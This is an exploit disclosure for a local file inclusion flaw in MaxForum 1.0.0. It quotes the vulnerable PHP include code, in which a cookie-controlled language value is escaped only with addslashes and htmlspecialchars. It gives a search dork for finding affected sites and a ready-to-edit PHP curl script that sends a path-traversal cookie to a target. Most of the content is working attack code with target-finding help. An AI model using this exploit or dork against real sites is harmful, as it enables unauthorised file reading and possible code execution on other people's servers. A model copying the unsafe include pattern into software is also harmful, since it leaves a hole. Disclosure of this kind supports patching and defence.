MaxForum 1.0.0 - Local File Inclusion

+---------------------------------------+ | MaxForum v1.0.0 Local File Inclusion | +---------------------------------------+ Author.............: ahwak2000 Mail...............: z.u5[at]hotmail[dot]com Software link......: http://www.max4dev.com/ Tested versions....: 1.0 Dork...............: Powered by MaxForum v1.0.0 Date...............: 15/08/2012 --------------------------------------------------------------- in file /MaxForum/includes/forums/warn_popup.php line 100 if (isset($_COOKIE['max_lang']) && (!isset($_COOKIE['max_name']))){ line 101 $board_lang = escape_string($_COOKIE['max_lang']); line 102 } line 103 line 104 @include "../../language/$board_lang"; line 105 @include "../../language/$board_lang.php"; ------------- in file /MaxForum/libs/php/functions.php function escape_string($string) { $string = addslashes($string); $string = htmlspecialchars($string); return $string; } ---------------------------------------------------------------- exploit: <? $url="http://site.com/MaxForum/"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url."/includes/forums/warn_popup.php"); curl_setopt($ch, CURLOPT_COOKIE, "max_lang=../gpl.txt"); // <--- edit $buffer = curl_exec($ch); ?> #end